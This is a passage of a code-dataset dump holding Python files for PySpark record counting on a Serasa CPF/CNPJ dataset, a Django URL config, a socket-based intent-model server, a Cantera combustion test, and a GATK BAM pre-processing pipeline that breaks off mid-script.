"line_number": 12, "usage_type": "call"}, {"api_name": "scrapy.item.Field", "line_number": 13, "usage_type": "call"}, {"api_name": "scrapy.item.Field", "line_number": 14, "usage_type": "call"}, {"api_name": "scrapy.item.Field", "line_number": 16, "usage_type": "call"}, {"api_name": "scrapy.item.Field", "line_number": 17, "usage_type": "call"}, {"api_name": "scrapy.item.Field", "line_number": 19, "usage_type": "call"}, {"api_name": "scrapy.item.Field", "line_number": 20, "usage_type": "call"}, {"api_name": "scrapy.item.Field", "line_number": 22, "usage_type": "call"}, {"api_name": "scrapy.item.Field", "line_number": 23, "usage_type": "call"}, {"api_name": "scrapy.item.Field", "line_number": 25, "usage_type": "call"}, {"api_name": "scrapy.item.Field", "line_number": 26, "usage_type": "call"}]} {"seq_id": "579459787", "text": "from pyspark.sql import SparkSession\nfrom pyspark import SparkConf, SparkContext\nfrom pyspark.sql import SQLContext\nfrom pyspark.sql import functions as F\nfrom pyspark.sql.types import *\nfrom pycpfcnpj import cpfcnpj\nimport sys\nfrom pyspark.sql.types import BooleanType\n\ndef vgroupby(db, column, num_lines = 10):\n db.groupby(F.col(column)).count().sort(F.col(\"count\").desc()).show(num_lines)\n\nspark = SparkSession \\\n .builder \\\n .appName(\"Serasa Enrichment\") \\\n .config('spark.executor.memory', '4G') \\\n .config('spark.driver.memory', '45G') \\\n .config('spark.driver.maxResultSize', '10G') \\\n .config('spark.sql.crossJoin.enabled', 'true') \\\n .getOrCreate()\nsys.stdout = open(sys.stdout.fileno(), mode='w', encoding='utf8', buffering=1)\nsc = spark.sparkContext\nsqlContext = SQLContext(sc)\n\nbs = sqlContext.read.parquet(\"../../data_work/big_star_v4.parquet\")\nbs = bs.repartition(8)\n\n#bs.groupby(F.length(F.col('num_telefone_1'))).count().sort(F.col(\"count\").desc()).show(100)\n#bs.groupby(F.length(F.col('num_telefone_2'))).count().sort(F.col(\"count\").desc()).show(100)\n#bs.groupby(F.length(F.col('num_telefone_3'))).count().sort(F.col(\"count\").desc()).show(100)\n#bs.groupby(F.length(F.col('num_telefone_4'))).count().sort(F.col(\"count\").desc()).show(100)\n#bs.groupby(F.length(F.col('num_telefone_5'))).count().sort(F.col(\"count\").desc()).show(100)\n\ncpfcnpj_validate_udf = F.udf(cpfcnpj.validate, BooleanType())\n\nkk = bs.select('cpf_cnpj','nome_proprietario')\nkk = kk.where(\"pessoa_tipo = 'PF'\")\nkk = kk.filter(cpfcnpj_validate_udf('cpf_cnpj'))\nkk.groupby(F.col('cpf_cnpj')).agg(F.first(F.col('nome_proprietario')))\n\nnum = kk.count()\nprint('Total aproximado de registros')\nprint(num)\n\n#con1 = (F.length(F.col('num_telefone_1')) == 8) | (F.length(F.col('num_telefone_2')) == 8) | (F.length(F.col('num_telefone_3')) == 8) | (F.length(F.col('num_telefone_4')) == 8) | (F.length(F.col('num_telefone_5')) == 8)\n#con2 = (F.length(F.col('num_telefone_1')) == 9) | (F.length(F.col('num_telefone_2')) == 9) | (F.length(F.col('num_telefone_3')) == 9) | (F.length(F.col('num_telefone_4')) == 9) | (F.length(F.col('num_telefone_5')) == 9)\n\ncon1 = (F.length(F.col('num_telefone_1')) == 8) | (F.length(F.col('num_telefone_3')) == 8)\ncon2 = (F.length(F.col('num_telefone_1')) == 9) | (F.length(F.col('num_telefone_3')) == 9)\n\nbs = bs.where(con1 | con2)\n\nbs = bs.select('cpf_cnpj','nome_proprietario')\nbs = bs.where(\"pessoa_tipo = 'PF'\")\nbs = bs.filter(cpfcnpj_validate_udf('cpf_cnpj'))\nbs.groupby(F.col('cpf_cnpj')).agg(F.first(F.col('nome_proprietario')))\n\nnum = bs.count()\nprint('Quantidade de registros com 9 ou 8 digitos')\nprint(num)\n\n#con1 = F.col('num_telefone_1').isNull() & F.col('num_telefone_2').isNull() & F.col('num_telefone_3').isNull() & F.col('num_telefone_4').isNull() & F.col('num_telefone_5').isNull()\n#con2 = F.col('tele_fixo_1').isNotNull() | F.col('tele_fixo_2').isNotNull() | F.col('tele_fixo_3').isNotNull() | F.col('tele_fixo_4').isNotNull() | F.col('tele_fixo_5').isNotNull()\n#con3 = F.col('tele_celular_1').isNull() & F.col('tele_celular_2').isNull() & F.col('tele_celular_3').isNull() & F.col('tele_celular_4').isNull() & F.col('tele_celular_5').isNull()\n#\n#bs = bs.where(con1 | (con2 & con3))\n#bs = bs.where(\"pessoa_tipo = 'PF'\")\n#\n#bs.printSchema()\n#\n##bs = bs.select('cpf_cnpj','nome_proprietario','num_telefone_1','num_telefone_2','num_telefone_3','num_telefone_4','num_telefone_5', 'ddd_num_telefone_1','ddd_num_telefone_2','ddd_num_telefone_3','ddd_num_telefone_4','ddd_num_telefone_5', 'ddd_num_telefone_lista', 'tele_fixo_1', 'tele_fixo_2','tele_fixo_3', 'tele_fixo_4', 'tele_fixo_5', 'tele_celular_1','tele_celular_2','tele_celular_3','tele_celular_4','tele_celular_5', 'ddd_telefone_1', 'ddd_telefone_2', 'ddd_telefone_3','ddd_telefone_4','ddd_telefone_5')\n#bs = bs.select('cpf_cnpj','nome_proprietario')\n##bs = bs.select('cpf_cnpj')\n#bs = bs.dropDuplicates()\n#cpfcnpj_validate_udf = F.udf(cpfcnpj.validate, BooleanType())\n#bs = bs.filter(cpfcnpj_validate_udf('cpf_cnpj'))\n#\n#print('Redux sem telefone---------------')\n#sem_telefone = bs.where(con1)\n#sem_telefone = sem_telefone.groupby(F.col('cpf_cnpj')).agg(F.first(F.col('nome_proprietario')))\n#sem_telefone.show(100, False)\n#print(sem_telefone.count())\n#\n#print('Redux Somente telefone Fixo---------------')\n#so_fixo = bs.where(con2 & con3)\n#so_fixo = so_fixo.groupby(F.col('cpf_cnpj')).agg(F.first(F.col('nome_proprietario')))\n#so_fixo.show(100, False)\n#print(so_fixo.count())\n#\n#print('Contagem de todos-----------')\n#bs_final = bs.groupby(F.col('cpf_cnpj')).agg(F.first(F.col('nome_proprietario')))\n#print(bs_final.count())\n\n#print(bs.where(con2 & con3).count())\n\n#bs.select('cpf_cnpj','nome_proprietario','num_telefone_1','num_telefone_2','num_telefone_3','num_telefone_4','num_telefone_5', 'ddd_num_telefone_lista', 'tele_fixo_1', 'tele_fixo_2','tele_fixo_3', 'tele_fixo_4', 'tele_fixo_5', 'tele_celular_1','tele_celular_2','tele_celular_3','tele_celular_4','tele_celular_5').where(con2 & con3).show(200)\n\n#bs = bs.select('cpf_cnpj','nome_proprietario')\n\n# verificar se é para filterar por ano de fabricação\n#bs_final.repartition(1).write.format(\"com.databricks.spark.csv\").option(\"header\", \"true\").save(\"serasa_list.csv\")", "sub_path": "scripts/data_enrichment_serasa/extract_data_v2.py", "file_name": "extract_data_v2.py", "file_ext": "py", "file_size_in_byte": 5228, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "pyspark.sql.functions.col", "line_number": 11, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 11, "usage_type": "name"}, {"api_name": "pyspark.sql.SparkSession.builder.appName", "line_number": 13, "usage_type": "call"}, {"api_name": "pyspark.sql.SparkSession.builder", "line_number": 13, "usage_type": "attribute"}, {"api_name": "pyspark.sql.SparkSession", "line_number": 13, "usage_type": "name"}, {"api_name": "sys.stdout", "line_number": 21, "usage_type": "attribute"}, {"api_name": "sys.stdout.fileno", "line_number": 21, "usage_type": "call"}, {"api_name": "pyspark.sql.SQLContext", "line_number": 23, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.udf", "line_number": 34, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 34, "usage_type": "name"}, {"api_name": "pycpfcnpj.cpfcnpj.validate", "line_number": 34, "usage_type": "attribute"}, {"api_name": "pycpfcnpj.cpfcnpj", "line_number": 34, "usage_type": "name"}, {"api_name": "pyspark.sql.types.BooleanType", "line_number": 34, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.col", "line_number": 39, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 39, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.first", "line_number": 39, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.length", "line_number": 48, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 48, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.col", "line_number": 48, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.length", "line_number": 49, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 49, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.col", "line_number": 49, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.col", "line_number": 56, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 56, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.first", "line_number": 56, "usage_type": "call"}]} {"seq_id": "137224354", "text": "from django.conf.urls import url\nfrom learning_app import views\n\napp_name='learning_app'\nurlpatterns=[\n url(r'^$', views.index, name='index'),\n url(r'^register/$', views.register, name='register'),\n url(r'^use_login/$', views.user_login, name='user_login'),\n url(r'^logout/$', views.user_logout, name='logout'),\n url(r'^special/', views.special, name='special')\n]", "sub_path": "learning_app/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 378, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "django.conf.urls.url", "line_number": 6, "usage_type": "call"}, {"api_name": "learning_app.views.index", "line_number": 6, "usage_type": "attribute"}, {"api_name": "learning_app.views", "line_number": 6, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 7, "usage_type": "call"}, {"api_name": "learning_app.views.register", "line_number": 7, "usage_type": "attribute"}, {"api_name": "learning_app.views", "line_number": 7, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 8, "usage_type": "call"}, {"api_name": "learning_app.views.user_login", "line_number": 8, "usage_type": "attribute"}, {"api_name": "learning_app.views", "line_number": 8, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 9, "usage_type": "call"}, {"api_name": "learning_app.views.user_logout", "line_number": 9, "usage_type": "attribute"}, {"api_name": "learning_app.views", "line_number": 9, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 10, "usage_type": "call"}, {"api_name": "learning_app.views.special", "line_number": 10, "usage_type": "attribute"}, {"api_name": "learning_app.views", "line_number": 10, "usage_type": "name"}]} {"seq_id": "11961955", "text": "import os\nos.environ[\"CUDA_VISIBLE_DEVICES\"]=\"-1\"\nfrom config import FLAGS\nfrom model import Model\nfrom socket import *\n\nmodel = Model(FLAGS.epoch, FLAGS.max_length, FLAGS.num_classes, FLAGS.hidden_size, FLAGS.learning_rate)\n\ndef main():\n serverSock = socket(AF_INET, SOCK_STREAM)\n serverSock.bind(('', 5001))\n serverSock.listen(1)\n print('Listening')\n\n connectionSock, addr = serverSock.accept()\n print('연결 수립')\n\n while True:\n msg = connectionSock.recv(1024)\n msg = msg.decode('utf-8')\n print('받은 데이터 :', msg)\n res = model.predict(msg)\n connectionSock.send(res.encode('utf-8'))\n print('메시지를 보냈습니다.')\n\n\nif __name__ == \"__main__\":\n main()", "sub_path": "chitintent/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 815, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "os.environ", "line_number": 2, "usage_type": "attribute"}, {"api_name": "model.Model", "line_number": 7, "usage_type": "call"}, {"api_name": "config.FLAGS.epoch", "line_number": 7, "usage_type": "attribute"}, {"api_name": "config.FLAGS", "line_number": 7, "usage_type": "name"}, {"api_name": "config.FLAGS.max_length", "line_number": 7, "usage_type": "attribute"}, {"api_name": "config.FLAGS.num_classes", "line_number": 7, "usage_type": "attribute"}, {"api_name": "config.FLAGS.hidden_size", "line_number": 7, "usage_type": "attribute"}, {"api_name": "config.FLAGS.learning_rate", "line_number": 7, "usage_type": "attribute"}, {"api_name": "model.predict", "line_number": 22, "usage_type": "call"}]} {"seq_id": "235555091", "text": "# -*- coding: utf-8 -*-\n\"\"\"\n@author: Riccardo Malpica Galassi, Sapienza University, Roma, Italy\n\"\"\"\nimport cantera as ct\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport PyCSP.Functions as csp\n\n#create gas from original mechanism file hydrogen.cti\ngas = csp.CanteraCSP('hydrogen.cti')\n\n#set the gas state\nT = 1000\nP = ct.one_atm\ngas.TP = T, P\n#gas.TPX = T, P, \"H2:2.0, O2:1, N2:3.76\"\ngas.set_equivalence_ratio(1.0, 'H2', 'O2:1, N2:3.76')\n\n#push density\nrho = gas.density\ngas.constRho = rho\n\n\n#set jacobiantype\ngas.jacobiantype = 'full'\n\n#integrate ODE\nr = ct.IdealGasReactor(gas)\nsim = ct.ReactorNet([r])\ntime = 0.0\nstates = ct.SolutionArray(gas, extra=['t'])\n\nRHS = []\nsplitRHS = []\nvarnames = np.array(gas.species_names+['Temperature'])\nsim.set_initial_time(0.0)\nwhile sim.time < 1.e-3:\n sim.step()\n states.append(r.thermo.state, t=sim.time)\n print('%10.3e %10.3f %10.3f %10.3f %14.6e' % (sim.time, r.T, r.thermo.P, r.thermo.density, r.thermo.u))\n rhs = gas.source\n Smat = gas.generalized_Stoich_matrix\n rvec = gas.R_vector\n splitrhs = np.dot(Smat,rvec)\n checksplitrhs = np.isclose(rhs, splitrhs, rtol=1e-6, atol=1e-6, equal_nan=False)\n if(np.any(checksplitrhs == False)):\n idx = np.array([*range(len(rhs))]) \n print('Mismatch between numerical RHS and S.r')\n print(varnames[~checksplitrhs],rhs[~checksplitrhs],splitrhs[~checksplitrhs])\n RHS.append(rhs)\n splitRHS.append(splitrhs)\n\n\nRHS = np.array(RHS)\nsplitRHS = np.array(splitRHS)\n\n#plot solution\nprint('plotting ODE solution...')\nplt.clf()\nplt.subplot(2, 2, 1)\nplt.plot(states.t, states.T)\nplt.xlabel('Time (s)')\nplt.ylabel('Temperature (K)')\nplt.xlim(0., 0.001)\nplt.subplot(2, 2, 2)\nplt.plot(states.t, states.X[:,gas.species_index('OH')])\nplt.xlabel('Time (s)')\nplt.ylabel('OH Mole Fraction')\nplt.xlim(0., 0.001)\nplt.subplot(2, 2, 3)\nplt.plot(states.t, states.X[:,gas.species_index('H')])\nplt.xlabel('Time (s)')\nplt.ylabel('H Mole Fraction')\nplt.xlim(0., 0.001)\nplt.subplot(2, 2, 4)\nplt.plot(states.t, states.X[:,gas.species_index('H2')])\nplt.xlabel('Time (s)')\nplt.ylabel('H2 Mole Fraction')\nplt.xlim(0., 0.001)\nplt.tight_layout()\nplt.show()\n\n#plot RHS(T)\n\nprint('plotting RHS...')\nfig, ax = plt.subplots(figsize=(6,4))\nax.plot(states.t, RHS[:,-1], color='black', label='rhs')\nax.plot(states.t, splitRHS[:,-1], color='red', linestyle='--',label='S.r')\nax.set_xlabel('time (s)')\nax.set_ylabel('rhs[T]')\nax.set_xlim([0., 0.001])\nax.grid(False)\nax.legend()\nplt.show()", "sub_path": "tests/test_rhs_constV.py", "file_name": "test_rhs_constV.py", "file_ext": "py", "file_size_in_byte": 2484, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "PyCSP.Functions.CanteraCSP", "line_number": 11, "usage_type": "call"}, {"api_name": "PyCSP.Functions", "line_number": 11, "usage_type": "name"}, {"api_name": "cantera.one_atm", "line_number": 15, "usage_type": "attribute"}, {"api_name": "cantera.IdealGasReactor", "line_number": 29, "usage_type": "call"}, {"api_name": "cantera.ReactorNet", "line_number": 30, "usage_type": "call"}, {"api_name": "cantera.SolutionArray", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.isclose", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.any", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 66, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 70, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 71, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 75, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 77, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 77, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 78, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 79, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 79, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 80, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 81, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 81, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 82, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 82, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 87, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 87, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 95, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 95, "usage_type": "name"}]} {"seq_id": "341459000", "text": "#!/bin/env python3\n####################################################################################################\n## Copyright (C) 2016 Princess Margaret Bioinformatics and HPC Core - All Rights Reserved\n## You may freely use, distribute and modify copies of this code within any of the systems currently \n## owned and operated by the University Health Network and the Bioinformatics and HPC Core. \n## If you require pieces of this code for any other purposes outside of these systems\n## please contact the Bioinformatics and HPC Core directly for permission. \n##\n## The Bioinformatics and HPC Core makes no claims as to the usability or reliability of \n## this code. Use for clinical purposes must only be done by those at UHN who are \n## authorized to do so using the Standard Operating Practices that have been developed specifically\n## for this purpose.\n####################################################################################################\n\n\"\"\"\n Finds all the BAM in the source directory and run the recommended GATK pre-processing steps: Picard\n MarkDuplicates, realignment around indels, and base quality score recalibration. Options\n and filters chosen based on GATK best practices.\n\"\"\"\n\nimport argparse\nimport os\nimport glob\n\nimport pmgctools\nimport qsub\n\nKNOWN_1000G = '/mnt/work1/data/genomes/human/hg19/variantcallingdata/1000G_phase1.indels.hg19.vcf'\nKNOWN_MILLS = '/mnt/work1/data/genomes/human/hg19/variantcallingdata/Mills_and_1000G_gold_standard.indels.hg19.vcf'\n\n\ndef init():\n parser = argparse.ArgumentParser(\n description='Finds all the BAM in the source directory and run the recommended GATK pre-processing steps')\n parser.add_argument('-s', '--source', required=True, help='Source directory')\n parser.add_argument('-o', '--output', required=True, help='Output directory')\n parser.add_argument('-c', '--coverage',\n help=\"coverage to downsample to at a given locus, enter an integer (e.g. 1000) or gatk to \"\n \"use GATK default settings. If not provided, no downsampling will be performed.\")\n parser.add_argument('-l', '--log', default='process.log', help='Log file name')\n parser.add_argument('-q', '--qsub', default=\"qsub\", help='qsub directory')\n parser.add_argument('-D', '--dry-run', action='store_true', dest='dry', default=False,\n help='dry run, will create qsub scripts but will not submit to the cluster')\n parser.add_argument('-I', '--ini', required=False, help='INI file.')\n parser.add_argument('-d', '--dbsnp', help='current dbSNP reference in VCF format')\n parser.add_argument('-g', '--bed', help='BED file containing intervals of interest')\n parser.add_argument('-S', '--species',\n help='Species default=HUMAN. For non-human data extra Mills/1000Genomes indel resources, '\n 'which are provided by default to RealignerTargetCreator & BaseRecalibrator will not '\n 'be used.')\n parser.add_argument('-n', '--no-markduplicate', action='store_true', default=False, dest='no_markdup',\n help='Do not run markduplicate.')\n parser.add_argument('-t', '--no-bqsr', action='store_true', default=False, dest='bqsr',\n help='BQSR will not be run; needed for datasets < 150 Mbases')\n parser.add_argument('-C', '--config', default=None,\n help='cocleaning config file. Put all samples for cocleaning in one line delimited with '\n 'space or ,')\n parser.add_argument('-Q', '--queue', default=None, help='Cluster queue you want to submit to.')\n options = parser.parse_args()\n return options\n\n\ndef mark_duplicate(source, outputdir, sample, waitlist=None, **other_qsub_options):\n \"\"\"\n GATK Picard markduplicate\n :param source: source directory contains bam files need to be processed\n :param outputdir: output directory\n :param sample: sample name or bam file name to process\n :param waitlist: grid engine job waiting list\n :param other_qsub_options: other options for qsub script\n :return: job name, markdup_<sample>\n \"\"\"\n tools = ['picard', 'samtools']\n modules = pmgctools.check_vars(tools)\n wait = \",\".join(waitlist) if waitlist is not None else None\n tmpdir = os.path.join(outputdir, pmgctools.tmpdir())\n\n if sample.endswith('.bam'):\n sample = sample[:-4]\n dedup = os.path.join(outputdir, sample + '.dedup.bam')\n metrics = os.path.join(outputdir, sample + '.dedup')\n picard_dir = 'picard_dir' if pmgctools.get_var('picard_dir') else 'EBROOTPICARD' #uhn or CC software\n\n cmd = 'mkdir -p {}\\n'.format(tmpdir)\n cmd += \"java -Xmx12g -Djava.io.tmpdir={} -jar ${}/picard.jar MarkDuplicates\".format(tmpdir, picard_dir)\n cmd += \" INPUT={} OUTPUT={} METRICS_FILE={} ASSUME_SORTED=true MAX_RECORDS_IN_RAM=100000 VALIDATION_STRINGENCY=SILENT CREATE_INDEX=true\".format(os.path.join(source, sample + '.bam'), dedup,\n metrics)\n cmd += \"\\nrm -rf {}\".format(tmpdir)\n\n return qsub.qsub('markdup_' + sample, cmd, modules=modules, waitlist=wait, other='cpu=4|mem=20gb|walltime=72:00:00', **other_qsub_options)\n\n\ndef indel_realignment(source, output, sample, bed=None, dbsnp=None, species='Human', coverage=None, smalldataset=False,\n waitlist=None, extension='.dedup.bam', remove_source=True, **other_qsub_options):\n \"\"\"\n GATK indel realignment\n :param source: source directory of the result of markduplicate (mark_duplicate result directory)\n :param sample: sample names to process, simple sample or multiple samples in list to co-clean\n :param bed: region file\n :param dbsnp: dbsnp vcf file\n :param species: HUMAN or not\n :param coverage: downsampling info, see source code\n :param smalldataset: small data set. do not run BSQR\n :param waitlist: job waiting list\n :param other_qsub_options: other options for qsub script\n :return: job name, Realignement_<sample>\n \"\"\"\n tools = ['gatk', 'samtools']\n envs = pmgctools.check_vars(['REF'])\n if not bed:\n bed = pmgctools.get_var('bed')\n\n modules = pmgctools.check_vars(tools)\n wait = \",\".join(waitlist) if waitlist is not None else None\n source = os.path.abspath(source)\n tmpdir = pmgctools.tmpdir()\n\n region = \"\"\n if bed:\n region = \"--intervals \" + os.path.abspath(bed) + \" --interval_padding 100\"\n ref = os.path.abspath(envs[\"REF\"])\n if not dbsnp:\n dbsnp = os.path.abspath(pmgctools.check_vars([\"dbSNP\"])[\"dbSNP\"])\n if species.upper() == \"HUMAN\":\n known_1000g = pmgctools.get_var(\"KNOWN_1000G\")\n if known_1000g is None:\n known_1000g = KNOWN_1000G\n known_mills = pmgctools.get_var(\"KNOWN_MILLS\")\n if known_mills is None:\n known_mills = KNOWN_MILLS\n known = \"-known {} -known {}\".format(known_1000g, known_mills)\n else:\n known = \"-known {}\".format(dbsnp)\n\n if not coverage:\n coverage = \"-dt None\"\n elif coverage is \"gatk\":\n coverage = \"\"\n elif coverage.isdigit():\n coverage = \"-dcov \" + coverage\n else:\n print(\"Error: wrong downsampling value \" + coverage)\n\n input = \"-I \"\n if isinstance(sample, str):\n sample = [sample]\n\n input += ' -I '.join([os.path.join(source, i + extension) for i in sample])\n name = '_'.join(sample)[:200]\n intervals = name + '.intervals'\n\n # Start to work in the directory\n if not os.path.exists(output):\n os.makedirs(output)\n cmd = 'cd {}\\nmkdir {}\\n'.format(output, tmpdir)\n\n cmd += \"java -Xmx8g -Djava.io.tmpdir={} -jar $gatk_dir/GenomeAnalysisTK.jar -T RealignerTargetCreator --disable_auto_index_creation_and_locking_when_reading_rods -nt 4 -R {}\" \\\n \" {} -o {} {} {} {}\".format(tmpdir, ref, input, intervals, coverage, region, known)\n cmd += \"\\njava -Xmx4g -Djava.io.tmpdir={} -jar $gatk_dir/GenomeAnalysisTK.jar --disable_auto_index_creation_and_locking_when_reading_rods -T IndelRealigner {} -nWayOut \" \\\n \".realigned.bam -targetIntervals {} -R {} {} {} -compress 0\".format(tmpdir, input, intervals, ref, coverage,\n known)\n\n # remove intermediate files\n cmd += '\\nrm -rf {}'.format(tmpdir)\n cmd += '\\nrm {}'.format(intervals)\n new_extension = extension.replace('.bam', '.realigned.bam')\n for f in sample:\n if smalldataset:\n cmd += '\\nmv {} {}'.format(f + new_extension, f + '.processed.bam')\n cmd += '\\nmv {} {}'.format(f + new_extension.replace('.bam', '.bai'), f + '.processed.bai')\n if remove_source:\n cmd += '\\nrm {}'.format(f + extension.replace('.bam', '.ba*'))\n\n cmd += '\\n'\n\n return qsub.qsub('Realignment_' + name, cmd, modules=modules, waitlist=wait, other='cpu=8|mem=16gb|walltime=72:00:00', **other_qsub_options)\n\n\ndef bqsr(source, sample, bed=None, dbsnp=None, species='Human', coverage=None, extension='.dedup.realigned.bam',\n waitlist=None, **other_qsub_options):\n \"\"\"\n GATK BQSR wrapper\n :param source: source directory of the result of indel_realignment (indel_realignment result directory)\n :param sample: sample names to process\n :param bed: region file\n :param dbsnp: :param dbsnp: dbsnp vcf file\n :param species: HUMAN or not\n :param coverage: downsampling info, see source code\n :param waitlist: job waiting list\n :param other_qsub_options: other options for qsub script\n :return: job name, BSQR_<sample>\n \"\"\"\n tools = ['gatk']\n envs = pmgctools.check_vars(['REF'])\n modules = pmgctools.check_vars(tools)\n wait = \",\".join(waitlist) if waitlist is not None else None\n tmpdir = os.path.join(source, pmgctools.tmpdir())\n\n if not bed:\n bed = pmgctools.get_var('bed')\n region = \"\"\n if bed:\n region = \"--intervals \" + bed + \" --interval_padding 100\"\n if not coverage:\n coverage = \"-dt None\"\n elif coverage is \"gatk\":\n coverage = \"\"\n elif coverage.isdigit():\n coverage = \"-dcov \" + coverage\n else:\n print(\"Error: wrong downsampling value \" + coverage)\n recaldata = os.path.join(source, sample + \".recal_data.grp\")\n ref = envs[\"REF\"]\n if not dbsnp:\n dbsnp = pmgctools.check_vars([\"dbSNP\"])[\"dbSNP\"]\n input = os.path.join(source, sample + extension)\n cmd = 'mkdir {}\\n'.format(tmpdir)\n cmd += \"java -Xmx4g -Djava.io.tmpdir={} -jar $gatk_dir/GenomeAnalysisTK.jar -T BaseRecalibrator --disable_auto_index_creation_and_locking_when_reading_rods -nct 8 -I {} -o {}\" \\\n \" -R {} -knownSites {} -rf BadCigar -cov ReadGroupCovariate -cov ContextCovariate -cov CycleCovariate -cov\" \\\n \" QualityScoreCovariate {} {}\".format(tmpdir, input, recaldata, ref, dbsnp, coverage, region)\n# if species.upper() == \"HUMAN\":\n# known_1000g = pmgctools.get_var(\"KNOWN_1000G\")\n# if known_1000g is None:\n# known_1000g = KNOWN_1000G\n# known_mills = pmgctools.get_var(\"KNOWN_MILLS\")\n# if known_mills is None:\n# known_mills = KNOWN_MILLS\n# cmd += \" -knownSites {} -knownSites {}\".format(known_1000g, known_mills)\n recal = os.path.join(source, sample + '.processed.bam')\n cmd += \"\\njava -Xmx4g -Djava.io.tmpdir={} -jar $gatk_dir/GenomeAnalysisTK.jar -T PrintReads 